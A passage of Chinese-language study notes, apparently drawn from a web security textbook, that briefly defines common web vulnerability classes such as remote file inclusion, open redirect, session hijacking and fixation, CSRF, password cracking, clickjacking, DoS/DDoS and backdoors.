     • 主要是 PHP 存在的安全漏洞，对 PHP 的 include 或 require 来说， 这是一种可通过设定，指定外部服务器的 URL 作为文件名的功能。外部文件可以通过 system 函数执行 OS 命令。

3. 因设置或设计上的缺陷引发的安全漏洞

   • 强制浏览安全漏洞，从安置在 Web 服务器的公开目录下的文件中，浏览那些原本非自愿公开的文件。
   • 不正确的错误消息处理，是指Web 应用的错误信息内包含对攻击者有用的信息。
   • 开放重定向，是一种对指定的任意 URL 作重定向跳转的功能。

4. 因会话管理疏忽引发的安全漏洞

   • 会话劫持，是指攻击者通过某种手段拿到了用户的会话 ID，并非法使用此会话 ID 伪装成用户，达到攻击的目的。
   • 会话固定攻击，强制用户使用攻击者指定的会话 ID。
   • 跨站点请求伪造，是指攻击者通过设置好的陷阱，强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新，属于被动攻击。

5. 其他安全漏洞

   • 密码破解攻击，即算出密码，突破认证。包括：

     • 通过网络的密码试错：
       • 穷举法。
       • 字典攻击，事先收集好候选密码来尝试通过验证。
     • 对已加密密码的破解：
       • 通过穷举法·字典攻击进行类推
       • 彩虹表，由明文密码及与之对应的散列值构成 的一张数据库表
       • 拿到密钥，共享密钥加密方式
       • 加密算法的漏洞

   • 点击劫持，利用透明的按钮或链接做成陷阱，覆盖在 Web 页面之上。

   • DoS 攻击，是一种让运行中的服务呈停止状态的攻击，主要有以下两种：

     • 集中利用访问请求造成资源过载
     • 通过攻击安全漏洞使服务停止

     多台计算机发起的 DoS 攻击称为 DDoS 攻击 (Distributed Denial of Service attack)。DDoS 攻击通常利用那些感染病毒的计算机作为攻 击者的攻击跳板。

   • 后门程序，指开发设置的隐藏入口，可不按正常步骤使用受限功能。